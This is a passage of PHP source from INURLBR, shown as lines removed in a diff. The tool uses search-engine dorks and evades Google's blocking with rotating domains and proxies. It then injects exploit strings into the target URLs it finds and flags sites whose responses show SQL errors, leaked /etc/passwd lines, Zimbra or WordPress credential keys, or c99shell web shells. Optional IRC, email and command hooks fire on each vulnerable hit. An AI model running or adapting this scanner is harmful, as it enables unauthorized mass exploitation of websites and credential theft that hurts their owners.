print_r("{$_SESSION["c1"]}[ INFO ]{$_SESSION["c2"]} Not a satisfactory result was found!{$_SESSION["c0"]}\n"); - } -} - -################################################################################ -#ERRORS STANDARDS OF SCRIPT VALIDATE WITH HTML RECEIVED######################### -################################################################################ - -function __checkError($html_) { - - - if (__validateOptions($_SESSION['config']['tipoerro'], '2')) { - - $validation['ERROR-CUSTOM'] = not_isnull_empty($_SESSION['config']['achar']) ? $_SESSION['config']['achar'] : NULL; - } - - if (__validateOptions('1,3,4', $_SESSION['config']['tipoerro'])) { - - if (__validateOptions('3,4', $_SESSION['config']['tipoerro'])) { - - $validation['ERROR-CUSTOM'] = not_isnull_empty($_SESSION['config']['achar']) ? $_SESSION['config']['achar'] : NULL; - } - - /* [*]SHELLSHOCK - * (CVE-2014-6271, CVE-2014-6277, - * CVE-2014-6278, CVE-2014-7169, - * CVE-2014-7186, CVE-2014-7187) - * is a vulnerability in GNU's bash shell that gives attackers access - * to run remote commands on a vulnerable system. */ - $validation['SHELLSHOCK-01'] = '99887766555'; - - /* [*]LOCAL FILE INCLUSION - * Local File Inclusion (also known as LFI) is the process of including - * files, that are already locally present on the server, through the - * exploiting of vulnerable inclusion procedures implemented in the - * application. - * https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion */ - $validation['LOCAL-FILE-INCLUSION-01'] = '/root:/'; - $validation['LOCAL-FILE-INCLUSION-02'] = 'root:x:0:0:'; - $validation['LOCAL-FILE-INCLUSION-03'] = 'mysql:x:'; - - /* [*]ZIMBRA MAIL - * Zimbra 0day exploit / Privilegie escalation via LFI - * This script exploits a Local File Inclusion in - * /res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz - * which allows us to see localconfig.xml - * that contains LDAP root credentials wich allow us to make requests in - * /service/admin/soap API with the stolen LDAP credentials to create user - * with administration privlegies - * and gain acces to the Administration Console. - * https://www.exploit-db.com/exploits/30085/ */ - $validation['ZIMBRA-WEB-MAIL-01'] = 'zimbra_user'; - $validation['ZIMBRA-WEB-MAIL-02'] = 'zimbra_ldap_password'; - $validation['ZIMBRA-WEB-MAIL-03'] = 'ldap_replication_password'; - $validation['ZIMBRA-WEB-MAIL-04'] = 'ldap_root_password'; - $validation['ZIMBRA-WEB-MAIL-05'] = 'ldap_nginx_password'; - $validation['ZIMBRA-WEB-MAIL-06'] = 'mailboxd_keystore_password'; - $validation['ZIMBRA-WEB-MAIL-07'] = 'zimbra_mysql_password'; - $validation['ZIMBRA-WEB-MAIL-08'] = 'mysql_root_password'; - $validation['ZIMBRA-WEB-MAIL-10'] = 'mailboxd_truststore_password'; - $validation['ZIMBRA-WEB-MAIL-11'] = 'ldap_postfix_password'; - $validation['ZIMBRA-WEB-MAIL-12'] = 'ldap_amavis_password'; - - /* [*]ZEND FRAMEWORK - * Zend-Framework Full Info Disclosure - * The username and password of the database may be obtained trough - * the "application.ini" file - * https://www.exploit-db.com/exploits/29921/ */ - $validation['ZEND-FRAMEWORK-01'] = 'mail.transport.username'; - $validation['ZEND-FRAMEWORK-02'] = 'mail.transport.password'; - $validation['ZEND-FRAMEWORK-03'] = 'db.params.username'; - $validation['ZEND-FRAMEWORK-04'] = 'db.params.password'; - $validation['ZEND-FRAMEWORK-05'] = 'db.params.dbname'; - - /* [*]CMS WORDPRESS - * As the name suggests, if the web application doesn’t check the file - * name required by the user, any malicious user can exploit this - * vulnerability to download sensitive files from the server. - * Arbitrary File Download vulnerability file wp-config.php - * http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271 - * http://www.acunetix.com/vulnerabilities/web/wordpress-plugin-slider-revolution-arbitrary-file-disclosure */ - $validation['CMS-WORDPRESS-01'] = "define('DB_NAME'"; - $validation['CMS-WORDPRESS-02'] = "define('DB_USER'"; - $validation['CMS-WORDPRESS-03'] = "define('DB_PASSWORD'"; - $validation['CMS-WORDPRESS-04'] = "define('DB_HOST'"; - - /* [*]ERROR MARIADB - * MariaDB is a drop-in replacement for MySQL. - * MariaDB strives to be the logical choice for database professionals - * looking for a robust, scalable, and reliable SQL server. To accomplish - * this, the MariaDB Foundation work closely and cooperatively with the - * larger community of users and developers in the true spirit of Free - * and open source software, and release software in a manner that - * balances predictability with reliability. - * https://mariadb.org/en/about/ */ - $validation['MARIADB-01'] = 'MariaDB server version for the right syntax'; - - /* [*]ERROR MYSQL - * MySQL is a database management system (DBMS), which uses the SQL - * (Structured Query Language, English Structured Query Language) as - * interface. It is currently one of the most popular databases, with - * more than 10 million installations worldwide - * https://www.mysql.com/ - * http://php.net/manual/en/security.database.sql-injection.php - */ - $validation['MYSQL-AND-MARIADB'] = 'You have an error in your SQL syntax;'; - $validation['MYSQL-03'] = 'Warning: mysql_'; - $validation['MYSQL-04'] = 'function.mysql'; - $validation['MYSQL-05'] = 'MySQL result index'; - $validation['MYSQL-07'] = 'MySQL Error'; - $validation['MYSQL-08'] = 'MySQL ODBC'; - $validation['MYSQL-09'] = 'MySQL Driver'; - $validation['MYSQL-10'] = 'mysqli.query'; - $validation['MYSQL-11'] = 'num_rows'; - $validation['MYSQL-12'] = 'mysql error:'; - $validation['MYSQL-13'] = 'supplied argument is not a valid MySQL result resource'; - $validation['MYSQL-14'] = 'on MySQL result index'; - $validation['MYSQL-15'] = 'Error Executing Database Query'; - $validation['MYSQL-01'] = 'mysql_'; - - /* [*]ERROR MICROSOFT - * MICROSOFT TECHNOLOGY - * http://www.microsoft.com/pt-br/server-cloud/products/sql-server/ - * https://products.office.com/pt-br/access - * https://www.owasp.org/index.php/Testing_for_SQL_Server */ - $validation['MICROSOFT-01'] = 'Microsoft JET Database'; - $validation['MICROSOFT-02'] = 'ADODB.Recordset'; - $validation['MICROSOFT-03'] = '500 - Internal server error'; - $validation['MICROSOFT-04'] = 'Microsoft OLE DB Provider'; - $validation['MICROSOFT-05'] = 'Unclosed quotes'; - $validation['MICROSOFT-06'] = 'ADODB.Command'; - $validation['MICROSOFT-07'] = 'ADODB.Field error'; - $validation['MICROSOFT-08'] = 'Microsoft VBScript'; - $validation['MICROSOFT-09'] = 'Microsoft OLE DB Provider for SQL Server'; - $validation['MICROSOFT-10'] = 'Unclosed quotation mark'; - $validation['MICROSOFT-11'] = 'Microsoft OLE DB Provider for Oracle'; - $validation['MICROSOFT-14'] = 'Active Server Pages error'; - $validation['MICROSOFT-15'] = 'OLE/DB provider returned message'; - $validation['MICROSOFT-16'] = 'OLE DB Provider for ODBC'; - $validation['MICROSOFT-17'] = "error '800a0d5d'"; - $validation['MICROSOFT-18'] = "error '800a000d'"; - $validation['MICROSOFT-19'] = 'Unclosed quotation mark after the character string'; - $validation['MICROSOFT-20'] = '[Microsoft][SQL Server Native Client 11.0][SQL Server]'; - $validation['MICROSOFT-21'] = 'Warning: odbc_'; - - /* #[*]ERROR ORACLE - * - DBMS currently marketed by Oracle, who was born in 1979 and was - * the first relational BD sold worldwide; - * - Latest version: Oracle Database 11G; - * http://www.oracle.com/br/solutions/midsize/oracle-products/database/index.html - * https://www.blackhat.com/presentations/bh-usa-05/bh-us-05-fayo.pdf */ - $validation['ORACLE-01'] = 'ORA-00921: unexpected end of SQL command'; - $validation['ORACLE-02'] = 'ORA-01756'; - $validation['ORACLE-03'] = 'ORA-'; - $validation['ORACLE-04'] = 'Oracle ODBC'; - $validation['ORACLE-05'] = 'Oracle Error'; - $validation['ORACLE-06'] = 'Oracle Driver'; - $validation['ORACLE-07'] = 'Oracle DB2'; - $validation['ORACLE-08'] = 'error ORA-'; - $validation['ORACLE-09'] = 'SQL command not properly ended'; - - /* #[*]ERROR DB2 - * DB2 is a database system Relational Manager (SGDBR) produced by IBM. - * There are different versions of DB2 running from a simple PDA | - * handheld, even in powerful mainframes and run on servers based on - * Unix, Windows, or Linux. - * http://www-01.ibm.com/software/br/db2/lowerdatabasecosts/ - * https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet#DB2_Escaping */ - $validation['DB2-01'] = 'DB2 ODBC'; - $validation['DB2-02'] = 'DB2 error'; - $validation['DB2-03'] = 'DB2 Driver'; - - /* #[*]ERROR ODBC - * ODBC (acronym for Open Database Connectivity) is a standard for - * access to managers of database systems (DBMS). - * https://support.office.com/pt-br/article/Administrar-fontes-de-dados-ODBC-b19f856b-5b9b-48c9-8b93-07484bfab5a7 - * https://www.exploit-db.com/papers/12975/ */ - $validation['ODBC-01'] = 'ODBC SQL'; - $validation['ODBC-02'] = 'ODBC DB2'; - $validation['ODBC-03'] = 'ODBC Driver'; - $validation['ODBC-04'] = 'ODBC Error'; - $validation['ODBC-05'] = 'ODBC Microsoft Access'; - $validation['ODBC-06'] = 'ODBC Oracle'; - $validation['ODBC-07'] = 'ODBC Microsoft Access Driver'; - - /* #[*]ERROR POSTGRESQL - * PostgreSQL is an object-relational database management system - * (ORDBMS), developed as an open source project. - * http://www.postgresql.org.br/old/ - * https://www.owasp.org/index.php/OWASP_Backend_Security_Project_Testing_PostgreSQL */ - $validation['POSTGRESQL-01'] = 'Warning: pg_'; - $validation['POSTGRESQL-02'] = 'PostgreSql Error:'; - $validation['POSTGRESQL-03'] = 'function.pg'; - $validation['POSTGRESQL-04'] = 'Supplied argument is not a valid PostgreSQL result'; - $validation['POSTGRESQL-05'] = 'PostgreSQL query failed: ERROR: parser: parse error'; - $validation['POSTGRESQL-06'] = 'pg_'; - - /* #[*]ERROR SYBASE - * Sybase (NYSE: SY), an SAP company, is a software company that - * produces services and products related to information management, - * mobility, messaging, development tools, and data warehousing and - * OLAP data. - * https://www.owasp.org/index.php?search=SYBASE&title=Special%3ASearch&go=Go */ - $validation['SYBASE-01'] = 'Warning: sybase_'; - $validation['SYBASE-02'] = 'function.sybase'; - $validation['SYBASE-03'] = 'Sybase result index'; - $validation['SYBASE-04'] = 'Sybase Error:'; - $validation['SYBASE-05'] = 'Sybase: Server message:'; - $validation['SYBASE-06'] = 'sybase_'; - $validation['SYBASE-07'] = '[Sybase][ODBC Driver]:'; - - /* #[*]ERROR JBOSSWEB - * JBoss Web Server is an enterprise ready web server designed for - * medium and large applications, based on Tomcat. - * JBoss Web a component of the JBoss Application Server, there are - * no more standalone version of JBoss Web you need the Application - * Server to get the Servlet/JSP container. - * http://jbossweb.jboss.org/ - * http://www.rapid7.com/db/search?utf8=%E2%9C%93&q=JBoss+&t=a */ - $validation['JBOSSWEB-01'] = 'java.sql.SQLSyntaxErrorException: ORA-'; - $validation['JBOSSWEB-02'] = 'org.springframework.jdbc.BadSqlGrammarException:'; - $validation['JBOSSWEB-03'] = 'javax.servlet.ServletException:'; - $validation['JBOSSWEB-04'] = 'java.lang.NullPointerException'; - - /* #[*]ERROR JDBC - * Java Database Connectivity or JDBC is a set of classes and - * interfaces (API) written in Java that make sending SQL statements - * for any relational database - * http://www.oracle.com/technetwork/java/javase/jdbc/index.html - * https://www.owasp.org/index.php/Preventing_SQL_Injection_in_Java */ - $validation['JDBC_CFM-01'] = 'Error Executing Database Query'; - $validation['JDBC_CFM-02'] = 'SQLServer JDBC Driver'; - $validation['JDBC_CFM-03'] = 'JDBC SQL'; - $validation['JDBC_CFM-04'] = 'JDBC Oracle'; - $validation['JDBC_CFM-05'] = 'JDBC MySQL'; - $validation['JDBC_CFM-06'] = 'JDBC error'; - $validation['JDBC_CFM-07'] = 'JDBC Driver'; - - /* #[*]JAVA INFINITYDB - * InfinityDB is an all-Java embedded database engine that is deployed - * in handheld devices, on servers, on workstations, and in distributed - * settings. */ - $validation['JAVA-INFINITYDB-01'] = 'java.io.IOException: InfinityDB'; - - /* #[*]ERROR PHP - * The PHP development team announces the immediate availability of - * PHP 5.4.40. 14 security-related bugs were fixed in this release, - * including CVE-2014-9709, CVE-2015-2301, CVE-2015-2783, CVE-2015-1352. - * All PHP 5.4 users are encouraged to upgrade to this version. - * http://php.net/ */ - $validation['ERRORPHP-01'] = 'Warning: include'; - $validation['ERRORPHP-02'] = 'Fatal error: include'; - $validation['ERRORPHP-03'] = 'Warning: require'; - $validation['ERRORPHP-04'] = 'Fatal error: require'; - $validation['ERRORPHP-05'] = 'ADODB_Exception'; - $validation['ERRORPHP-06'] = 'Warning: include('; - $validation['ERRORPHP-07'] = 'Warning: require_once('; - $validation['ERRORPHP-08'] = 'function.include'; - $validation['ERRORPHP-09'] = 'Disallowed Parent Path'; - $validation['ERRORPHP-10'] = 'function.require'; - $validation['ERRORPHP-11'] = 'Warning: main('; - $validation['ERRORPHP-12'] = 'Warning: session_start()'; - $validation['ERRORPHP-13'] = 'Warning: getimagesize()'; - $validation['ERRORPHP-16'] = 'Warning: array_merge()'; - $validation['ERRORPHP-17'] = 'Warning: preg_match()'; - $validation['ERRORPHP-18'] = 'GetArray()'; - $validation['ERRORPHP-19'] = 'FetchRow()'; - $validation['ERRORPHP-20'] = 'Warning: preg_'; - $validation['ERRORPHP-21'] = 'Warning: ociexecute()'; - $validation['ERRORPHP-22'] = 'Warning: ocifetchstatement()'; - $validation['ERRORPHP-23'] = 'PHP Warning:'; - - /* #[*]ERROR ASP - * The ASP (Active Server Pages), also known as Classic ASP today, is a - * framework of basic libraries (and not a language) for processing of - * scripting languages on the server side to generate dynamic content on - * the Web - * http://www.asp.net/ */ - $validation['ERRORASP-01'] = 'Version Information: Microsoft .NET Framework'; - $validation['ERRORASP-04'] = 'ASP.NET is configured to show verbose error messages'; - $validation['ERRORASP-05'] = 'BOF or EOF'; - $validation['ERRORASP-06'] = 'Unclosed quotation mark'; - $validation['ERRORASP-06'] = 'Error converting data type varchar to numeric'; - - /* #[*]ERROR LUA - * Lua is a scripting language imperative, procedural, small, reflective - * and light, designed to expand applications in general, to be an - * extensible language (which connects parts of a program made in more - * than one language) - * http://www.lua.org/ */ - $validation['ERRORLUA-01'] = 'LuaPlayer ERROR:'; - $validation['ERRORLUA-02'] = 'CGILua message'; - $validation['ERRORLUA-03'] = 'Lua error'; - - #[*]ERROR INDEFINIDOS - $validation['INDEFINITE-01'] = 'Incorrect syntax near'; - $validation['INDEFINITE-02'] = 'Fatal error'; - $validation['INDEFINITE-04'] = 'Invalid Querystring'; - $validation['INDEFINITE-05'] = 'Input string was not in a correct format'; - $validation['INDEFINITE-06'] = 'An illegal character has been found in the statement'; - - #[*]SHELL SCRIPT backdoored. - $validation['SHELL-01'] = 'c99shell'; - $validation['SHELL-02'] = 'C99Shell v'; - $validation['SHELL-03'] = '
'; - $validation['SHELL-05'] = '{$_SESSION['config']['regexp']} - " . $match[0][0] . " FOUD! " : NULL); - } else { - - foreach ($validation as $campo => $valor) { - - __plus(); - if (__validateBD($html_, $validation[$campo], $campo)) { - - __plus(); - return(" {$campo} - VALUE: {$validation[$campo]}"); - } - } - } -} - -################################################################################ -#CHECK ERROR 2 HTML INSIDE###################################################### -################################################################################ - -function __validateBD($html_, $verificar, $bd) { - - return (strstr($html_, $verificar)) ? $bd : NULL; -} - -################################################################################ -#FORMAT URL##################################################################### -################################################################################ - -function __mountURLExploit($_url) { - - $_url = explode("=", trim(urldecode($_url))); - $get = max(array_keys($_url)); - $get_ = $_url[$get]; - return implode("=", str_replace($get_, $get_ . ((!is_null($_SESSION['config']['exploit-get'])) ? $_SESSION['config']['exploit-get'] : NULL), $_url)); -} - -################################################################################ -#FILTER HTML URLs ALL THE RETURN OF seekers##################################### -################################################################################ - -function __filterURL($html, $op = NULL) { - - $reg = !strstr($op, 'GOOGLE') ? "#\b(href=\"|src=\"|value=\")(.*?)(\")#si" : - "#\b(href=\"|src=\"|value=\"http[s]?://|href=\"|src=\"|value=\"ftp[s]?://){1,}?([-a-zA-Z0-9\.]+)([-a-zA-Z0-9\.]){1,}([-a-zA-Z0-9_\.\#\@\:%_/\?\=\~\-\//\!\'\(\)\s\^\:blank:\:punct:\:xdigit:\:space:\$]+)#si"; - $html = str_replace('href="/url?q=', 'href="', $html); - - if (strstr($html, '.google.com/sorry/IndexRedirect?continue=https://www.google.com.') && $_SESSION['config']['persist'] <= $_SESSION["config"]['google_attempt'][1]) { - - print_r("{$_SESSION["c1"]}[ INFO ][ ERROR ]{$_SESSION["c2"]} GOOGLE LOCKED!{$_SESSION["c0"]}\n"); - $randHost = __dominioGoogleRandom(); - $_SESSION["config"]['google_attempt'][1] ++; - __pageEngine($_SESSION["config"]["conf_array_tmp"], "GOOGLE - {$randHost}", "https://{$randHost}/search?q=[DORK]&num=1500&btnG=Search&pws=1", $_SESSION["config"]["dork_tmp"], NULL, 0, 0, 1); - } else { - $_SESSION["config"]["google_attempt"][1] = 0; - preg_match_all($reg, $html, $html); - return (array_filter(array_unique($html[0]))); - } -} - -################################################################################ -#FILTER HTML URLs ALL THE RETURN OF GOOGLE API################################## -################################################################################ - -function __filterURLJson($html) { - - $html = json_decode($html, true); - $allresponseresults = $html['responseData']['results']; - foreach ($allresponseresults as $value) { - $tmp[] = $value['url']; - } - return (array_filter(array_unique($tmp))); -} - -################################################################################ -#Filtering the repeated emails ################################################# -################################################################################ - -function __filterEmailsRepeated() { - - echo "\n\n{$_SESSION["c1"]}|[ INFO ][ Filtering the repeated emails the file {$_SESSION['config']['arquivo_output']} ]{$_SESSION["c0"]}\n"; - $array = __openFile($_SESSION['config']['out_put_paste'] . $_SESSION['config']['arquivo_output'], 1); - if (is_array($array)) { - - unlink($_SESSION['config']['out_put_paste'] . $_SESSION['config']['arquivo_output']); - unset($_SESSION['config']['resultado_valores']); - foreach ($array as $value) { - - __saveValue($_SESSION['config']['out_put_paste'] . $_SESSION['config']['arquivo_output'], $value, 2) . __plus(); - $_SESSION['config']['resultado_valores'] .= "{$value}\n"; - } - } else { - - echo "\n\n{$_SESSION["c1"]}|[ ERROR ][ ERROR EMAILS FILTERING ]{$_SESSION["c0"]}\n"; - } -} - -################################################################################ -#COUNTING PROCESS END URLS / vuln AND SHOWING THE URLS / vuln################### -################################################################################ - -function __exitProcess() { - - $file = !is_null($_SESSION['config']['arquivo_output']) ? $_SESSION['config']['arquivo_output'] : NULL; - $file_all = !is_null($_SESSION['config']['arquivo_output_all']) ? $_SESSION['config']['arquivo_output_all'] : NULL; - (($_SESSION['config']['extrai-email']) ? __filterEmailsRepeated() : NULL); - $cont = count(explode("\n", $_SESSION['config']['resultado_valores'])) - 1; - echo "\n\n{$_SESSION["c1"]}[ INFO ] [ Shutting down ]{$_SESSION["c0"]}"; - echo "\n{$_SESSION["c1"]}[ INFO ] [ End of process INURLBR at [" . date("d-m-Y H:i:s") . "]{$_SESSION["c0"]}"; - echo "\n{$_SESSION["c1"]}[ INFO ] {$_SESSION["c0"]}{$_SESSION["c16"]}[ TOTAL FILTERED VALUES ]::{$_SESSION["c1"]} [ {$cont} ]{$_SESSION["c0"]}"; - echo!is_null($file) ? "\n{$_SESSION["c1"]}[ INFO ] {$_SESSION["c16"]}[ OUTPUT FILE ]::{$_SESSION["c1"]} [ " . getcwd() . "/{$_SESSION['config']['out_put_paste']}{$file} ]{$_SESSION["c0"]}" : NULL; - echo!is_null($file_all) ? "\n{$_SESSION["c1"]}[ INFO ] {$_SESSION["c16"]}[ OUTPUT FILE ALL ]::{$_SESSION["c1"]} [ " . getcwd() . "/{$_SESSION['config']['out_put_paste']}{$file_all} ]{$_SESSION["c0"]}" : NULL; - echo "\n{$_SESSION["c1"]}|_________________________________________________________________________________________{$_SESSION["c0"]}\n"; - - print_r(!$_SESSION['config']['extrai-email'] ? $_SESSION['config']['resultado_valores'] : NULL); - - echo "\n{$_SESSION["c1"]}\_________________________________________________________________________________________/{$_SESSION["c0"]}\n"; - __getOut("\n"); -} - -################################################################################ -#CASE URLS FILTER AND VALIDATING URL VALID###################################### -################################################################################ - -function __subProcess($resultado = NULL) { - - $resultado_ = is_array($resultado) ? array_unique(array_filter($resultado)) : $resultado; - if (isset($resultado_)) { - - foreach ($resultado_ as $result) { - - $result = __filterURLTAG($result); - $result_ = __validateURL($result) ? $result : NULL; - $blacklist_ = (!is_null($_SESSION["config"]["webcache"])) ? str_replace('webcache.,', '', $_SESSION["config"]['blacklist']) : $_SESSION["config"]['blacklist']; - __plus(); - - if (not_isnull_empty($result_) && !__validateOptions($blacklist_, $result_, 1)) { - - $_SESSION["config"]["totas_urls"].= "{$result_}\n"; - } - } - } -} - -################################################################################ -#DEBUGAR VALORES E PROCESSOS#################################################### -################################################################################ - -function __debug($valor, $op = NULL) { - - return isset($_SESSION["config"]["debug"]) && __validateOptions($_SESSION["config"]["debug"], $op) ? "\n[ INFO ][ FUNCTION ]=>{$valor['function']}[ DEBUG ] => \n" . print_r($valor['debug']) . "\n" : NULL; -} - -################################################################################ -#TIME TO PROCESS SEC############################################################ -################################################################################ - -function __timeSec($camp, $value = NULL) { - - echo!is_null($_SESSION['config'][$camp]) && !empty($_SESSION['config'][$camp]) ? "{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c16"]}[ TIME SEC/DELAY ]::{$_SESSION["c1"]}{ {$_SESSION["c8"]}[ {$_SESSION['config'][$camp]} ]{$_SESSION["c1"]} }{$_SESSION["c0"]}{$value}" : NULL; - !is_null($_SESSION['config'][$camp]) ? sleep($_SESSION['config'][$camp]) : NULL; -} - -################################################################################ -#SEARCH ENGINE CONFIGURATION#################################################### -################################################################################ - -function __pageEngine($confArray, $motorNome, $motorURL, $dork, $postDados, $pagStart, $pagLimit, $pagIncrement, $pagStart2 = NULL, $pagIncrement2 = NULL) { - - __plus(); - - echo ("\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c16"]}[ ENGINE ]::{$_SESSION["c1"]}[ {$motorNome} ]{$_SESSION["c0"]}\n"); - echo (!is_null($_SESSION['config']['max_pag']) ? ("{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c16"]}[ LIMIT PAG ]::{$_SESSION["c1"]}[ {$_SESSION['config']['max_pag']} ]{$_SESSION["c0"]}\n") : NULL); - $http_proxy = not_isnull_empty($_SESSION['config']['proxy-http-file']) || not_isnull_empty($_SESSION['config']['proxy-http']) ? __proxyHttpRandom() : NULL; - echo not_isnull_empty($http_proxy) ? "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c16"]}[ HTTP_PROXY ]:: {$http_proxy}{$_SESSION["c0"]}\n" : NULL; - echo "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c16"]}[ SEARCHING ]:: {$_SESSION["c0"]}\n"; - - $contMaxpg = 0; - $pagStart2_ = $pagStart2; - $pagStart3_ = $pagStart2; - while ($pagStart <= $pagLimit) { - - echo "{$_SESSION["c1"]}-{$_SESSION["c16"]}[{$_SESSION["c12"]}:::{$_SESSION["c16"]}]{$_SESSION["c0"]}"; - __plus(); - $_proxy = not_isnull_empty($confArray["list_proxy_rand"]) && !not_isnull_empty($_SESSION['config']['time-proxy']) ? $confArray["list_proxy_rand"] : $_SESSION["config"]["proxy"]; - $proxy = not_isnull_empty($_SESSION['config']['proxy-file']) && not_isnull_empty($_SESSION['config']['time-proxy']) ? __timeSecChangeProxy($confArray["list_proxy_file"]) : $_proxy; - - $murl[0] = str_replace("[DORK]", $dork, $motorURL); - $murl[0] = str_replace("[PAG]", $pagStart, $murl[0]); - $murl[0] = str_replace("[PAG2]", $pagStart2_, $murl[0]); - $murl[0] = str_replace("[PAG3]", $pagStart3_, $murl[0]); - $murl[0] = str_replace("[RANDOM]", base64_encode(intval(rand() % 255) . intval(rand() % 2553333)), $murl[0]); - $murl[0] = str_replace("[IP]", intval(rand() % 255) . "." . intval(rand() % 255) . "." . intval(rand() % 255) . "." . intval(rand() % 255), $murl[0]); - - - $postDados = !is_null($postDados) ? __convertUrlQuery(parse_url(urldecode($murl[0]), PHP_URL_QUERY)) : NULL; - - __debug(array('debug' => "[ URL ENGINE ]{$http_proxy}{$murl[0]}", 'function' => '__pageEngine'), 1); - - $request__ = __request_info($http_proxy . $murl[0], $proxy, $postDados); - __plus(); - $tmp_url = ($motorNome == 'GOOGLE API') ? __filterURLJson($request__["corpo"]) : __filterURL($request__["corpo"], $motorNome); - __subProcess($tmp_url); - __plus(); - - $pagStart = ($pagStart + $pagIncrement); - $pagStart2_ = ($pagStart2_ + $pagIncrement); - $pagStart3_ = ($pagStart3_ + $pagIncrement2); - $contMaxpg++; - __timeSec('delay'); - - if (!is_null($_SESSION['config']['max_pag']) && $_SESSION['config']['max_pag'] == $contMaxpg) { - - break; - } - } -} - -################################################################################ -#SUB PROCESS INJECT VALUES###################################################### -################################################################################ - -function __subExecExploits($target, $exploitArray = array()) { - - echo "\n{$_SESSION["c1"]}|_[ * ]__\n"; - echo " |[ SUB PROCESS ]::\n"; - $target = __filterHostname($target); - - foreach ($exploitArray as $value) { - - $postDados = !is_null($_SESSION["config"]["sub-post"]) ? __convertUrlQuery($value) : NULL; - $patch_GP = (is_null($postDados) ? $value : NULL); - $url = $target . $_SESSION["config"]["sub-concat"] . $patch_GP; - - echo "{$_SESSION["c7"]}-[||]{$_SESSION["c0"]}"; - $resultado__ = __request_info($url, $_SESSION["config"]["proxy"], $postDados); - __plus(); - $ifcode = not_isnull_empty($_SESSION['config']['ifcode']) && - strstr($resultado__['server']['http_code'], $_SESSION['config']['ifcode']) ? - "CODE_HTTP_FOUND: {$_SESSION['config']['ifcode']} / " : NULL; - $ifredirect = (strstr($resultado__['server']['redirect_url'], $_SESSION['config']['ifredirect'])) ? $resultado__['server']['redirect_url'] : NULL; - $_ex['erroReturn'] = $ifredirect . $ifcode . __checkError($resultado__['corpo']); - - __plus(); - $_ex['vull_style'] = (not_isnull_empty($_ex['erroReturn'])) ? - "{$_SESSION["c15"]}[ INFO ][ {$_ex['erroReturn']} ]\n[ INFO ][ TARGET POTENTIALLY VULNERABLE ]: " . __cli_beep() : NULL; - echo (not_isnull_empty($_ex['erroReturn']) ? "\n{$_ex['vull_style']}{$url}\n{$_SESSION["c0"]}" : NULL); - echo (not_isnull_empty($_ex['erroReturn']) ? __saveValue($_SESSION['config']['arquivo_output'], $url, 1) . "\n" : NULL); - __plus(); - $_SESSION['config']['resultado_valores'].=(not_isnull_empty($_ex['erroReturn']) ? "{$url}\n" : NULL); - (not_isnull_empty($_ex['erroReturn']) && not_isnull_empty($_SESSION['config']['irc']['irc_connection']) ? - __ircMsg($_SESSION['config']['irc'], "{$_ex['erroReturn']}::: {$url}") : NULL); - - (not_isnull_empty($_ex['erroReturn']) && !is_null($_SESSION['config']['sub-cmd-vul']) ? __command($_SESSION['config']['sub-cmd-vul'], $url) : NULL); - (not_isnull_empty($_SESSION['config']['sub-cmd-all']) ? __command($_SESSION['config']['sub-cmd-all'], $url) : NULL); - __plus(); - __timeSec('delay'); - } - unset($_ex); -} - -################################################################################ -#SEND VALUES EMAIL############################################################## -################################################################################ -# (PHP 4, PHP 5) mail — Send mailhttp://php.net/manual/en/function.mail.php - -function __sendMail($email, $value) { - - $headers = NULL; - $headers .= "From: \r\n"; - $headers .= "MIME-Version: 1.0\r\n"; - $headers .= "Content-type: text/html; charset=iso-8859-1\r\n"; - $headers .= "content-type: text/html\nX-priority: 1\n"; - $body = "------------------------------------------------------\n"; - $body.="DATE: [" . date("d-m-Y H:i:s") . "]"; - $body.=not_isnull_empty($_SESSION['config']['http-header']) ? "HTTP HEADER: {$_SESSION['config']['http-header']}\n" : NULL; - $body.=not_isnull_empty($_SESSION['config']['motor']) ? "MOTOR BUSCA: {$_SESSION['config']['motor']}\n" : NULL; - $body.=not_isnull_empty($_SESSION['config']['tipoerro']) ? "TIPO ERROR: {$_SESSION['config']['tipoerro']}\n" : NULL; - $body.=not_isnull_empty($_SESSION['config']['exploit-get']) ? "EXPLOIT GET: {$_SESSION['config']['exploit-get']}\n" : NULL; - $body.=not_isnull_empty($_SESSION['config']['exploit-post']) ? "EXPLOIT-POST: {$_SESSION['config']['exploit-post']}\n" : NULL; - $body.=not_isnull_empty($_SESSION['config']['command-vul']) ? "COMMAND VUL: {$_SESSION['config']['command-vul']}\n" : NULL; - $body.=not_isnull_empty($_SESSION['config']['command-all']) ? "COMMAND ALL: {$_SESSION['config']['command-all']}\n" : NULL; - $body.=not_isnull_empty($_SESSION['config']['user-agent']) ? "USER AGENT: {$_SESSION['config']['user-agent']}\n" : NULL; - $body.= "------------------------------------------------------\n"; - - if (mail($email, "[ INFO ][ OUTPUT INURLBR ]:: {$value}", $body, $headers)) { - __plus(); - return "[ INFO ][ SUBMITTED SUCCESSFULLY ]\n"; - } else { - __plus(); - return "[ INFO ][ NOT SENT ]\n"; - } -} - -################################################################################ -#HOST GOOGLE RANDOM############################################################# -################################################################################ - -function __dominioGoogleRandom() { - - $_SESSION["random"]['dominio_google'] = array( - 'www.google.com', 'www.google.ac', 'www.google.com.om', - 'www.google.ad', 'www.google.ae', 'www.google.com.af', - 'www.google.com.ag', 'www.google.com.ai', 'www.google.am', - 'www.google.it.ao', 'www.google.com.ar', 'www.google.cat', - 'www.google.as', 'www.google.at', 'www.google.com.au', - 'www.google.az', 'www.google.ba', 'www.google.com.bd', - 'www.google.be', 'www.google.bf', 'www.google.bg', - 'www.google.com.bh', 'www.google.bi', 'www.google.bj', - 'www.google.com.bn', 'www.google.com.bo', 'www.google.com.br', - 'www.google.bs', 'www.google.co.bw', 'www.google.com.by', - 'www.google.com.bz', 'www.google.ca', 'www.google.com.kh', - 'www.google.cc', 'www.google.cd', 'www.google.cf', - 'www.google.cn', 'www.google.com.co', 'www.google.co.nz', - 'www.google.cg', 'www.google.ch', 'www.google.ci', - 'www.google.co.ck', 'www.google.cl', 'www.google.cm', - 'www.google.co.cr', 'www.google.com.cu', 'www.google.cv', - 'www.google.cz', 'www.google.de', 'www.google.nu', - 'www.google.dj', 'www.google.dk', 'www.google.dm', - 